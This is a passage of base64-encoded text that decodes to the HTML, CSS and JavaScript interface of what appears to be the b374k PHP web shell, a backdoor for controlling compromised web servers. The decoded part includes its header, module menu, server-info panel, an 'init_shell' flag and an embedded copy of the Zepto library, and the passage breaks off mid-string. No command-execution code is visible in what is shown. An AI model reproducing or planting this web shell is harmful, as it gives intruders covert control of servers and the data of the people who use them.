ldF9yZXNvdXJjZSgnYXJyb3cnKTs/PicpO3dpZHRoOjMycHg7aGVpZ2h0OjMycHg7b3BhY2l0eTowLjMwO21hcmdpbjoxOHB4IDA7Y3Vyc29yOnBvaW50ZXI7fQojdG90b3A6aG92ZXIsI3RvYm90dG9tOmhvdmVye29wYWNpdHk6MC44MDt9CiN0b2dnbGVCYXNpY0luZm97ZGlzcGxheTpub25lO2Zsb2F0OnJpZ2h0O21hcmdpbjowO30KI2Jhc2ljSW5mb1NwbGl0dGVye2Rpc3BsYXk6bm9uZTt9CiN0b2JvdHRvbXstd2Via2l0LXRyYW5zZm9ybTpzY2FsZVkoLTEpOy1tb3otdHJhbnNmb3JtOnNjYWxlWSgtMSk7LW8tdHJhbnNmb3JtOnNjYWxlWSgtMSk7dHJhbnNmb3JtOnNjYWxlWSgtMSk7ZmlsdGVyOkZsaXBWOy1tcy1maWx0ZXI6IkZsaXBWIjt9CiNzaG93aW5mb3tmbG9hdDpyaWdodDtkaXNwbGF5Om5vbmU7fQojbG9nb3V0e2Zsb2F0OnJpZ2h0O30KPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPCEtLXdyYXBwZXIgc3RhcnQtLT4KPGRpdiBpZD0nd3JhcHBlcic+Cgk8IS0taGVhZGVyIHN0YXJ0LS0+Cgk8ZGl2IGlkPSdoZWFkZXInPgoJCTwhLS1oZWFkZXIgaW5mbyBzdGFydC0tPgoJCTxkaXYgaWQ9J2hlYWRlck5hdic+CgkJCTxzcGFuPjxhIG9uY2xpY2s9InNldF9jb29raWUoJ2N3ZCcsICcnKTsiIGhyZWY9Jzw/cGhwIGVjaG8gZ2V0X3NlbGYoKTsgPz4nPjw/cGhwIGVjaG8gJEdMT0JBTFNbJ3RpdGxlJ10uIiAiLiRHTE9CQUxTWyd2ZXInXT8+PC9hPjwvc3Bhbj4KCQkJPGltZyBvbmNsaWNrPSd2aWV3ZmlsZW9yZm9sZGVyKCk7JyBpZD0nYjM3NGsnIHNyYz0nPD9waHAgZWNobyBnZXRfcmVzb3VyY2UoJ2IzNzRrJyk7Pz4nIC8+Jm5ic3A7PHNwYW4gaWQ9J25hdic+PD9waHAgZWNobyAkbmF2OyA/Pjwvc3Bhbj4KCgkJCTxhIGNsYXNzPSdib3hjbG9zZScgaWQ9J2xvZ291dCcgdGl0bGU9J2xvZyBvdXQnPng8L2E+CgkJCTxhIGNsYXNzPSdib3hjbG9zZScgaWQ9J3Nob3dpbmZvJyB0aXRsZT0nc2hvdyBpbmZvJz52PC9hPgoJCTwvZGl2PgoJCTwhLS1oZWFkZXIgaW5mbyBlbmQtLT4KCgkJPCEtLW1lbnUgc3RhcnQtLT4KCQk8ZGl2IGlkPSdtZW51Jz4KCQkJPD9waHAKCQkJCWZvcmVhY2goJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10gYXMgJGspewoJCQkJCWVjaG8gIjxhIGNsYXNzPSdtZW51aXRlbScgaWQ9J21lbnUiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIicgaHJlZj0nIyEiLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIic+Ii4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWyd0aXRsZSddLiI8L2E+IjsKCQkJCX0KCQkJPz4KCQk8L2Rpdj4KCQk8IS0tbWVudSBlbmQtLT4KCgk8L2Rpdj4KCTwhLS1oZWFkZXIgZW5kLS0+CgoJPCEtLWNvbnRlbnQgc3RhcnQtLT4KCTxkaXYgaWQ9J2NvbnRlbnQnPgoJCTwhLS1zZXJ2ZXIgaW5mbyBzdGFydC0tPgoJCTxkaXYgaWQ9J2Jhc2ljSW5mbyc+CgkJCTxkaXYgaWQ9J3RvZ2dsZUJhc2ljSW5mbyc+PC9kaXY+CgkJCTw/cGhwCgkJCWVjaG8gJGVycm9yX2h0bWw7CgkJCWZvcmVhY2goZ2V0X3NlcnZlcl9pbmZvKCkgYXMgJGs9PiR2KXsKCQkJCWVjaG8gIjxkaXY+Ii4kdi4iPC9kaXY+IjsKCQkJfQoJCQk/PgoJCTwvZGl2PgoJCTwhLS1zZXJ2ZXIgaW5mbyBlbmQtLT4KCgkJPD9waHAKCQkJZm9yZWFjaCgkR0xPQkFMU1snbW9kdWxlX3RvX2xvYWQnXSBhcyAkayl7CgkJCQkkY29udGVudCA9ICRHTE9CQUxTWydtb2R1bGUnXVska11bJ2NvbnRlbnQnXTsKCQkJCWVjaG8gIjxkaXYgY2xhc3M9J21lbnVjb250ZW50JyBpZD0nIi4kR0xPQkFMU1snbW9kdWxlJ11bJGtdWydpZCddLiInPiIuJGNvbnRlbnQuIjwvZGl2PiI7CgkJCX0KCQk/PgoJPC9kaXY+Cgk8IS0tY29udGVudCBlbmQtLT4KCjwvZGl2Pgo8IS0td3JhcHBlciBlbmQtLT4KPGRpdiBpZD0nbmF2aWdhdGlvbic+Cgk8ZGl2IGlkPSd0b3RvcCc+PC9kaXY+Cgk8ZGl2IGlkPSd0b2JvdHRvbSc+PC9kaXY+CjwvZGl2Pgo8dGFibGUgaWQ9Im92ZXJsYXkiPjx0cj48dGQ+PGRpdiBpZD0ibG9hZGluZyIgb25kYmxjbGljaz0nbG9hZGluZ19zdG9wKCk7Jz48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4KPGZvcm0gYWN0aW9uPSc8P3BocCBlY2hvIGdldF9zZWxmKCk7ID8+JyBtZXRob2Q9J3Bvc3QnIGlkPSdmb3JtJyB0YXJnZXQ9J19ibGFuayc+PC9mb3JtPgo8IS0tc2NyaXB0IHN0YXJ0LS0+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4KdmFyIHRhcmdldHVybCA9ICc8P3BocCBlY2hvIGdldF9zZWxmKCk7ID8+JzsKdmFyIG1vZHVsZV90b19sb2FkID0gJzw/cGhwIGVjaG8gaW1wbG9kZSgiLCIsICRHTE9CQUxTWydtb2R1bGVfdG9fbG9hZCddKTs/Pic7CnZhciB3aW4gPSA8P3BocCBlY2hvIChpc193aW4oKSk/J3RydWUnOidmYWxzZSc7Pz47CnZhciBpbml0X3NoZWxsID0gdHJ1ZTsKLyogWmVwdG8gdjEuMS4yIC0gemVwdG8gZXZlbnQgYWpheCBmb3JtIGllIC0gemVwdG9qcy5jb20vbGljZW5zZSAqLwp2YXIgWmVwdG89ZnVuY3Rpb24oKXtmdW5jdGlvbiBHKGEpe3JldHVybiBhPT1udWxsP1N0cmluZyhhKTp6W0EuY2FsbChhKV18fCJvYmplY3QifWZ1bmN0aW9uIEgoYSl7cmV0dXJuIEcoYSk9PSJmdW5jdGlvbiJ9ZnVuY3Rpb24gSShhKXtyZXR1cm4gYSE9bnVsbCYmYT09YS53aW5kb3d9ZnVuY3Rpb24gSihhKXtyZXR1cm4gYSE9bnVsbCYmYS5ub2RlVHlwZT09YS5ET0NVTUVOVF9OT0RFfWZ1bmN0aW9uIEsoYSl7cmV0dXJuIEcoYSk9PSJvYmplY3QifWZ1bmN0aW9uIEwoYSl7cmV0dXJuIEsoYSkmJiFJKGEpJiZPYmplY3QuZ2V0UHJvdG90eXBlT2YoYSk9PU9iamVjdC5wcm90b3R5cGV9ZnVuY3Rpb24gTShhKXtyZXR1cm4gYSBpbnN0YW5jZW9mIEFycmF5fWZ1bmN0aW9uIE4oYSl7cmV0dXJuIHR5cGVvZiBhLmxlbmd0aD09Im51bWJlciJ9ZnVuY3Rpb24gTyhhKXtyZXR1cm4gZy5jYWxsKGEsZnVuY3Rpb24oYSl7cmV0dXJuIGEhPW51bGx9KX1mdW5jdGlvbiBQKGEpe3JldHVybiBhLmxlbmd0aD4wP2MuZm4uY29uY2F0LmFwcGx5KFtdLGEpOmF9ZnVuY3Rpb24gUShhKXtyZXR1cm4gYS5yZXBsYWNlKC86Oi9nLCIvIikucmVwbGFjZSgvKFtBLVpdKykoW0EtWl1bYS16XSkvZywiJDFfJDIiKS5yZXBsYWNlKC8oW2EtelxkXSkoW0EtWl0pL2csIiQxXyQyIikucmVwbGFjZSgvXy9nLCItIikudG9Mb3dlckNhc2UoKX1mdW5jdGlvbiBSKGEpe3JldHVybiBhIGluIGo/althXTpqW2FdPW5ldyBSZWdFeHAoIihefFxccykiK2ErIihcXHN8JCkiKX1mdW5jdGlvbiBTKGEsYil7cmV0dXJuIHR5cGVvZiBiPT0ibnVtYmVyIiYmIWtbUShhKV0/YisicHgiOmJ9ZnVuY3Rpb24gVChhKXt2YXIgYixjO3JldHVybiBpW2FdfHwoYj1oLmNyZWF0ZUVsZW1lbnQoYSksaC5ib2R5LmFwcGVuZENoaWxkKGIpLGM9Z2V0Q29tcHV0ZWRTdHlsZShiLCIiKS5nZXRQcm9wZXJ0eVZhbHVlKCJkaXNwbGF5IiksYi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGIpLGM9PSJub25lIiYmKGM9ImJsb2NrIiksaVthXT1jKSxpW2FdfWZ1bmN0aW9uIFUoYSl7cmV0dXJuImNoaWxkcmVuImluIGE/Zi5jYWxsKGEuY2hpbGRyZW4pOmMubWFwKGEuY2hpbGROb2RlcyxmdW5jdGlvbihhKXtpZihhLm5vZGVUeXBlPT0xKXJldHVybiBhfSl9ZnVuY3Rpb24gVihjLGQsZSl7Zm9yKGIgaW4gZCllJiYoTChkW2JdKXx8TShkW2JdKSk/KEwoZFtiXSkmJiFMKGNbYl0pJiYoY1tiXT17fSksTShkW2JdKSYmIU0oY1tiXSkmJihjW2JdPVtdKSxWKGNbYl0sZFtiXSxlKSk6ZFtiXSE9PWEmJihjW2JdPWRbYl0pfWZ1bmN0aW9uIFcoYSxiKXtyZXR1cm4gYj09bnVsbD9jKGEpOmMoYSkuZmlsdGVyKGIpfWZ1bmN0aW9uIFgoYSxiLGMsZCl7cmV0dXJuIEgoYik/Yi5jYWxsKGEsYyxkKTpifWZ1bmN0aW9uIFkoYSxiLGMpe2M9PW51bGw/YS5yZW1vdmVBdHRyaWJ1dGUoYik6YS5zZXRBdHRyaWJ1dGUoYixjKX1mdW5jdGlvbiBaKGIsYyl7dmFyIGQ9Yi5jbGFzc05hbWUsZT1kJiZkLmJhc2VWYWwhPT1hO2lmKGM9PT1hKXJldHVybiBlP2QuYmFzZVZhbDpkO2U/ZC5iYXNlVmFsPWM6Yi5jbGFzc05hbWU9Y31mdW5jdGlvbiAkKGEpe3ZhciBiO3RyeXtyZXR1cm4gYT9hPT0idHJ1ZSJ8fChhPT0iZmFsc2UiPyExOmE9PSJudWxsIj9udWxsOiEvXjAvLnRlc3QoYSkmJiFpc05hTihiPU51bWJlcihhKSk/YjovXltcW1x7XS8udGVzdChhKT9jLnBhcnNlSlNPTihhKTphKTphfWNhdGNoKGQpe3JldHVybiBhfX1mdW5jdGlvbiBfKGEsYil7YihhKTtmb3IodmFyIGMgaW4gYS5jaGlsZE5vZGVzKV8oYS5jaGlsZE5vZGVzW2NdLGIpfXZhciBhLGIsYyxkLGU9W10sZj1lLnNsaWNlLGc9ZS5maWx0ZXIsaD13aW5kb3cuZG9jdW1lbnQsaT17fSxqPXt9LGs9eyJjb2x1bW4tY291bnQiOjEsY29sdW1uczoxLCJmb250LXdlaWdodCI6MSwibGluZS1oZWlnaHQiOjEsb3BhY2l0eToxLCJ6LWluZGV4IjoxLHpvb206MX0sbD0vXlxzKjwoXHcrfCEpW14+XSo+LyxtPS9ePChcdyspXHMqXC8/Pig/OjxcL1wxPnwpJC8sbj0vPCg/IWFyZWF8YnJ8Y29sfGVtYmVkfGhyfGltZ3xpbnB1dHxsaW5rfG1ldGF8cGFyYW0pKChbXHc6XSspW14+XSopXC8+L2lnLG89L14oPzpib2R5fGh0bWwpJC9pLHA9LyhbQS1aXSkvZyxxPVsidmFsIiwiY3NzIiwiaHRtbCIsInRleHQiLCJkYXRhIiwid2lkdGgiLCJoZWlnaHQiLCJvZmZzZXQiXSxyPVsiYWZ0ZXIiLCJwcmVwZW5kIiwiYmVmb3JlIiwiYXBwZW5kIl0scz1oLmNyZWF0ZUVsZW1lbnQoInRhYmxlIiksdD1oLmNyZWF0ZUVsZW1lbnQoInRyIiksdT17dHI6aC5jcmVhdGVFbGVtZW50KCJ0Ym9keSIpLHRib2R5OnMsdGhlYWQ6cyx0Zm9vdDpzLHRkOnQsdGg6dCwiKiI6aC5jcmVhdGVFbGVtZW50KCJkaXYiKX0sdj0vY29tcGxldGV8bG9hZGVkfGludGVyYWN0aXZlLyx3PS9eXC4oW1x3LV0rKSQvLHg9L14jKFtcdy1dKikkLyx5PS9eW1x3LV0qJC8sej17fSxBPXoudG9TdHJpbmcsQj17fSxDLEQsRT1oLmNyZWF0ZUVsZW1lbnQoImRpdiIpLEY9e3RhYmluZGV4OiJ0YWJJbmRleCIscmVhZG9ubHk6InJlYWRPbmx5IiwiZm9yIjoiaHRtbEZvciIsImNsYXNzIjoiY2xhc3NOYW1lIixtYXhsZW5ndGg6Im1heExlbmd0aCIsY2VsbHNwYWNpbmc6ImNlbGxTcGFjaW5nIixjZWxscGFkZGluZzoiY2VsbFBhZGRpbmciLHJvd3NwYW46InJvd1NwYW4iLGNvbHNwYW46ImNvbFNwYW4iLHVzZW1hcDoidXNlTWFwIixmcmFtZWJvcmRlcjoiZnJhbWVCb3JkZXIiLGNvbnRlbnRlZGl0YWJsZToiY29udGVudEVkaXRhYmxlIn07cmV0dXJuIEIubWF0Y2hlcz1mdW5jdGlvbihhLGIpe2lmKCFifHwhYXx8YS5ub2RlVHlwZSE9PTEpcmV0dXJuITE7dmFyIGM9YS53ZWJraXRNYXRjaGVzU2VsZWN0b3J8fGEubW96TWF0Y2hlc1NlbGVjdG9yfHxhLm9NYXRjaGVzU2VsZWN0b3J8fGEubWF0Y2hlc1NlbGVjdG9yO2lmKGMpcmV0dXJuIGMuY2FsbChhLGIpO3ZhciBkLGU9YS5wYXJlbnROb2RlLGY9IWU7cmV0dXJuIGYmJihlPUUpLmFwcGVuZENoaWxkKGEpLGQ9fkIucXNhKGUsYikuaW5kZXhPZihhKSxmJiZFLnJlbW92ZUNoaWxkKGEpLGR9LEM9ZnVuY3Rpb24oYSl7cmV0dXJuIGEucmVwbGFjZSgvLSsoLik/L2csZnVuY3Rpb24oYSxiKXtyZXR1cm4gYj9iLnRvVXBwZXJDYXNlKCk6IiJ9KX0sRD1mdW5jdGlvbihhKXtyZXR1cm4gZy5jYWxsKGEsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5pbmRleE9mKGIpPT1jfSl9LEIuZnJhZ21lbnQ9ZnVuY3Rpb24oYixkLGUpe3ZhciBnLGksajtyZXR1cm4gbS50ZXN0KGIpJiYoZz1jKGguY3JlYXRlRWxlbWVudChSZWdFeHAuJDEpKSksZ3x8KGIucmVwbGFjZSYmKGI9Yi5yZXBsYWNlKG4sIjwkMT48LyQyPiIpKSxkPT09YSYmKGQ9bC50ZXN0KGIpJiZSZWdFeHAuJDEpLGQgaW4gdXx8KGQ9IioiKSxqPXVbZF0sai5pbm5lckhUTUw9IiIrYixnPWMuZWFjaChmLmNhbGwoai5jaGlsZE5vZGVzKSxmdW5jdGlvbigpe2oucmVtb3ZlQ2hpbGQodGhpcyl9KSksTChlKSYmKGk9YyhnKSxjLmVhY2goZSxmdW5jdGlvbihhLGIpe3EuaW5kZXhPZihhKT4tMT9pW2FdKGIpOmkuYXR0cihhLGIpfSkpLGd9LEIuWj1mdW5jdGlvbihhLGIpe3JldHVybiBhPWF8fFtdLGEuX19wcm90b19fPWMuZm4sYS5zZWxlY3Rvcj1ifHwiIixhfSxCLmlzWj1mdW5jdGlvbihhKXtyZXR1cm4gYSBpbnN0YW5jZW9mIEIuWn0sQi5pbml0PWZ1bmN0aW9uKGIsZCl7dmFyIGU7aWYoIWIpcmV0dXJuIEIuWigpO2lmKHR5cGVvZiBiPT0ic3RyaW5nIil7Yj1iLnRyaW0oKTtpZihiWzBdPT0iPCImJmwudGVzdChiKSllPUIuZnJhZ21lbnQoYixSZWdFeHAuJDEsZCksYj1udWxsO2Vsc2V7aWYoZCE9PWEpcmV0dXJuIGMoZCkuZmluZChiKTtlPUIucXNhKGgsYil9fWVsc2V7aWYoSChiKSlyZXR1cm4gYyhoKS5yZWFkeShiKTtpZihCLmlzWihiKSlyZXR1cm4gYjtpZihNKGIpKWU9TyhiKTtlbHNlIGlmKEsoYikpZT1bYl0sYj1udWxsO2Vsc2UgaWYobC50ZXN0KGIpKWU9Qi5mcmFnbWVudChiLnRyaW0oKSxSZWdFeHAuJDEsZCksYj1udWxsO2Vsc2V7aWYoZCE9PWEpcmV0dXJuIGMoZCkuZmluZChiKTtlPUIucXNhKGgsYil9fXJldHVybiBCLlooZSxiKX0sYz1mdW5jdGlvbihhLGIpe3JldHVybiBCLmluaXQoYSxiKX0sYy5leHRlbmQ9ZnVuY3Rpb24oYSl7dmFyIGIsYz1mLmNhbGwoYXJndW1lbnRzLDEpO3JldHVybiB0eXBlb2YgYT09ImJvb2xlYW4iJiYoYj1hLGE9Yy5zaGlmdCgpKSxjLmZvckVhY2goZnVuY3Rpb24oYyl7VihhLGMsYil9KSxhfSxCLnFzYT1mdW5jdGlvbihhLGIpe3ZhciBjLGQ9YlswXT09IiMiLGU9IWQmJmJbMF09PSIuIixnPWR8fGU/Yi5zbGljZSgxKTpiLGg9eS50ZXN0KGcpO3JldHVybiBKKGEpJiZoJiZkPyhjPWEuZ2V0RWxlbWVudEJ5SWQoZykpP1tjXTpbXTphLm5vZGVUeXBlIT09MSYmYS5ub2RlVHlwZSE9PTk/W106Zi5jYWxsKGgmJiFkP2U/YS5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGcpOmEuZ2V0RWxlbWVudHNCeVRhZ05hbWUoYik6YS5xdWVyeVNlbGVjdG9yQWxsKGIpKX0sYy5jb250YWlucz1mdW5jdGlvbihhLGIpe3JldHVybiBhIT09YiYmYS5jb250YWlucyhiKX0sYy50eXBlPUcsYy5pc0Z1bmN0aW9uPUgsYy5pc1dpbmRvdz1JLGMuaXNBcnJheT1NLGMuaXNQbGFpbk9iamVjdD1MLGMuaXNFbXB0eU9iamVjdD1mdW5jdGlvbihhKXt2YXIgYjtmb3IoYiBpbiBhKXJldHVybiExO3JldHVybiEwfSxjLmluQXJyYXk9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiBlLmluZGV4T2YuY2FsbChiLGEsYyl9LGMuY2FtZWxDYXNlPUMsYy50cmltPWZ1bmN0aW9uKGEpe3JldHVybiBhPT1udWxsPyIiOlN0cmluZy5wcm90b3R5cGUudHJpbS5jYWxsKGEpfSxjLnV1aWQ9MCxjLnN1cHBvcnQ9e30sYy5leHByPXt9LGMubWFwPWZ1bmN0aW9uKGEsYil7dmFyIGMsZD1bXSxlLGY7aWYoTihhKSlmb3IoZT0wO2U8YS5sZW5ndGg7ZSsrKWM9YihhW2VdLGUpLGMhPW51bGwmJmQucHVzaChjKTtlbHNlIGZvcihmIGluIGEpYz1iKGFbZl0sZiksYyE9bnVsbCYmZC5wdXNoKGMpO3JldHVybiBQKGQpfSxjLmVhY2g9ZnVuY3Rpb24oYSxiKXt2YXIgYyxkO2lmKE4oYSkpe2ZvcihjPTA7YzxhLmxlbmd0aDtjKyspaWYoYi5jYWxsKGFbY10sYyxhW2NdKT09PSExKXJldHVybiBhfWVsc2UgZm9yKGQgaW4gYSlpZihiLmNhbGwoYVtkXSxkLGFbZF0pPT09ITEpcmV0dXJuIGE7cmV0dXJuIGF9LGMuZ3JlcD1mdW5jdGlvbihhLGIpe3JldHVybiBnLmNhbGwoYSxiKX0sd2luZG93LkpTT04mJihjLnBhcnNlSlNPTj1KU09OLnBhcnNlKSxjLmVhY2goIkJvb2xlYW4gTnVtYmVyIFN0cmluZyBGdW5jdGlvbiBBcnJheSBEYXRlIFJlZ0V4cCBPYmplY3QgRXJyb3IiLnNwbGl0KCIgIiksZnVuY3Rpb24oYSxiKXt6WyJbb2JqZWN0ICIrYisiXSJdPWIudG9Mb3dlckNhc2UoKX0pLGMuZm49e2ZvckVhY2g6ZS5mb3JFYWNoLHJlZHVjZTplLnJlZHVjZSxwdXNoOmUucHVzaCxzb3J0OmUuc29ydCxpbmRleE9mOmUuaW5kZXhPZixjb25jYXQ6ZS5jb25jYXQsbWFwOmZ1bmN0aW9uKGEpe3JldHVybiBjKGMubWFwKHRoaXMsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5jYWxsKGIsYyxiKX0pKX0sc2xpY2U6ZnVuY3Rpb24oKXtyZXR1cm4gYyhmLmFwcGx5KHRoaXMsYXJndW1lbnRzKSl9LHJlYWR5OmZ1bmN0aW9uKGEpe3JldHVybiB2LnRlc3QoaC5yZWFkeVN0YXRlKSYmaC5ib2R5P2EoYyk6aC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixmdW5jdGlvbigpe2EoYyl9LCExKSx0aGlzfSxnZXQ6ZnVuY3Rpb24oYil7cmV0dXJuIGI9PT1hP2YuY2FsbCh0aGlzKTp0aGlzW2I+PTA/YjpiK3RoaXMubGVuZ3RoXX0sdG9BcnJheTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmdldCgpfSxzaXplOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubGVuZ3RofSxyZW1vdmU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5wYXJlbnROb2RlIT1udWxsJiZ0aGlzLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQodGhpcyl9KX0sZWFjaDpmdW5jdGlvbihhKXtyZXR1cm4gZS5ldmVyeS5jYWxsKHRoaXMsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5jYWxsKGIsYyxiKSE9PSExfSksdGhpc30sZmlsdGVyOmZ1bmN0aW9uKGEpe3JldHVybiBIKGEpP3RoaXMubm90KHRoaXMubm90KGEpKTpjKGcuY2FsbCh0aGlzLGZ1bmN0aW9uKGIpe3JldHVybiBCLm1hdGNoZXMoYixhKX0pKX0sYWRkOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGMoRCh0aGlzLmNvbmNhdChjKGEsYikpKSl9LGlzOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmxlbmd0aD4wJiZCLm1hdGNoZXModGhpc1swXSxhKX0sbm90OmZ1bmN0aW9uKGIpe3ZhciBkPVtdO2lmKEgoYikmJmIuY2FsbCE9PWEpdGhpcy5lYWNoKGZ1bmN0aW9uKGEpe2IuY2FsbCh0aGlzLGEpfHxkLnB1c2godGhpcyl9KTtlbHNle3ZhciBlPXR5cGVvZiBiPT0ic3RyaW5nIj90aGlzLmZpbHRlcihiKTpOKGIpJiZIKGIuaXRlbSk/Zi5jYWxsKGIpOmMoYik7dGhpcy5mb3JFYWNoKGZ1bmN0aW9uKGEpe2UuaW5kZXhPZihhKTwwJiZkLnB1c2goYSl9KX1yZXR1cm4gYyhkKX0saGFzOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbigpe3JldHVybiBLKGEpP2MuY29udGFpbnModGhpcyxhKTpjKHRoaXMpLmZpbmQoYSkuc2l6ZSgpfSl9LGVxOmZ1bmN0aW9uKGEpe3JldHVybiBhPT09LTE/dGhpcy5zbGljZShhKTp0aGlzLnNsaWNlKGEsK2ErMSl9LGZpcnN0OmZ1bmN0aW9uKCl7dmFyIGE9dGhpc1swXTtyZXR1cm4gYSYmIUsoYSk/YTpjKGEpfSxsYXN0OmZ1bmN0aW9uKCl7dmFyIGE9dGhpc1t0aGlzLmxlbmd0aC0xXTtyZXR1cm4gYSYmIUsoYSk/YTpjKGEpfSxmaW5kOmZ1bmN0aW9uKGEpe3ZhciBiLGQ9dGhpcztyZXR1cm4gdHlwZW9mIGE9PSJvYmplY3QiP2I9YyhhKS5maWx0ZXIoZnVuY3Rpb24oKXt2YXIgYT10aGlzO3JldHVybiBlLnNvbWUuY2FsbChkLGZ1bmN0aW9uKGIpe3JldHVybiBjLmNvbnRhaW5zKGIsYSl9KX0pOnRoaXMubGVuZ3RoPT0xP2I9YyhCLnFzYSh0aGlzWzBdLGEpKTpiPXRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIEIucXNhKHRoaXMsYSl9KSxifSxjbG9zZXN0OmZ1bmN0aW9uKGEsYil7dmFyIGQ9dGhpc1swXSxlPSExO3R5cGVvZiBhPT0ib2JqZWN0IiYmKGU9YyhhKSk7d2hpbGUoZCYmIShlP2UuaW5kZXhPZihkKT49MDpCLm1hdGNoZXMoZCxhKSkpZD1kIT09YiYmIUooZCkmJmQucGFyZW50Tm9kZTtyZXR1cm4gYyhkKX0scGFyZW50czpmdW5jdGlvbihhKXt2YXIgYj1bXSxkPXRoaXM7d2hpbGUoZC5sZW5ndGg+MClkPWMubWFwKGQsZnVuY3Rpb24oYSl7aWYoKGE9YS5wYXJlbnROb2RlKSYmIUooYSkmJmIuaW5kZXhPZihhKTwwKXJldHVybiBiLnB1c2goYSksYX0pO3JldHVybiBXKGIsYSl9LHBhcmVudDpmdW5jdGlvbihhKXtyZXR1cm4gVyhEKHRoaXMucGx1Y2soInBhcmVudE5vZGUiKSksYSl9LGNoaWxkcmVuOmZ1bmN0aW9uKGEpe3JldHVybiBXKHRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIFUodGhpcyl9KSxhKX0sY29udGVudHM6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gZi5jYWxsKHRoaXMuY2hpbGROb2Rlcyl9KX0sc2libGluZ3M6ZnVuY3Rpb24oYSl7cmV0dXJuIFcodGhpcy5tYXAoZnVuY3Rpb24oYSxiKXtyZXR1cm4gZy5jYWxsKFUoYi5wYXJlbnROb2RlKSxmdW5jdGlvbihhKXtyZXR1cm4gYSE9PWJ9KX0pLGEpfSxlbXB0eTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLmlubmVySFRNTD0iIn0pfSxwbHVjazpmdW5jdGlvbihhKXtyZXR1cm4gYy5tYXAodGhpcyxmdW5jdGlvbihiKXtyZXR1cm4gYlthXX0pfSxzaG93OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuc3R5bGUuZGlzcGxheT09Im5vbmUiJiYodGhpcy5zdHlsZS5kaXNwbGF5PSIiKSxnZXRDb21wdXRlZFN0eWxlKHRoaXMsIiIpLmdldFByb3BlcnR5VmFsdWUoImRpc3BsYXkiKT09Im5vbmUiJiYodGhpcy5zdHlsZS5kaXNwbGF5PVQodGhpcy5ub2RlTmFtZSkpfSl9LHJlcGxhY2VXaXRoOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmJlZm9yZShhKS5yZW1vdmUoKX0sd3JhcDpmdW5jdGlvbihhKXt2YXIgYj1IKGEpO2lmKHRoaXNbMF0mJiFiKXZhciBkPWMoYSkuZ2V0KDApLGU9ZC5wYXJlbnROb2RlfHx0aGlzLmxlbmd0aD4xO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZil7Yyh0aGlzKS53cmFwQWxsKGI/YS5jYWxsKHRoaXMsZik6ZT9kLmNsb25lTm9kZSghMCk6ZCl9KX0sd3JhcEFsbDpmdW5jdGlvbihhKXtpZih0aGlzWzBdKXtjKHRoaXNbMF0pLmJlZm9yZShhPWMoYSkpO3ZhciBiO3doaWxlKChiPWEuY2hpbGRyZW4oKSkubGVuZ3RoKWE9Yi5maXJzdCgpO2MoYSkuYXBwZW5kKHRoaXMpfXJldHVybiB0aGlzfSx3cmFwSW5uZXI6ZnVuY3Rpb24oYSl7dmFyIGI9SChhKTtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKGQpe3ZhciBlPWModGhpcyksZj1lLmNvbnRlbnRzKCksZz1iP2EuY2FsbCh0aGlzLGQpOmE7Zi5sZW5ndGg/Zi53cmFwQWxsKGcpOmUuYXBwZW5kKGcpfSl9LHVud3JhcDpmdW5jdGlvbigpe3JldHVybiB0aGlzLnBhcmVudCgpLmVhY2goZnVuY3Rpb24oKXtjKHRoaXMpLnJlcGxhY2VXaXRoKGModGhpcykuY2hpbGRyZW4oKSl9KSx0aGlzfSxjbG9uZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe3JldHVybiB0aGlzLmNsb25lTm9kZSghMCl9KX0saGlkZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmNzcygiZGlzcGxheSIsIm5vbmUiKX0sdG9nZ2xlOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt2YXIgZD1jKHRoaXMpOyhiPT09YT9kLmNzcygiZGlzcGxheSIpPT0ibm9uZSI6Yik/ZC5zaG93KCk6ZC5oaWRlKCl9KX0scHJldjpmdW5jdGlvbihhKXtyZXR1cm4gYyh0aGlzLnBsdWNrKCJwcmV2aW91c0VsZW1lbnRTaWJsaW5nIikpLmZpbHRlcihhfHwiKiIpfSxuZXh0OmZ1bmN0aW9uKGEpe3JldHVybiBjKHRoaXMucGx1Y2soIm5leHRFbGVtZW50U2libGluZyIpKS5maWx0ZXIoYXx8IioiKX0saHRtbDpmdW5jdGlvbihhKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpcy5sZW5ndGg+MD90aGlzWzBdLmlubmVySFRNTDpudWxsOnRoaXMuZWFjaChmdW5jdGlvbihiKXt2YXIgZD10aGlzLmlubmVySFRNTDtjKHRoaXMpLmVtcHR5KCkuYXBwZW5kKFgodGhpcyxhLGIsZCkpfSl9LHRleHQ6Z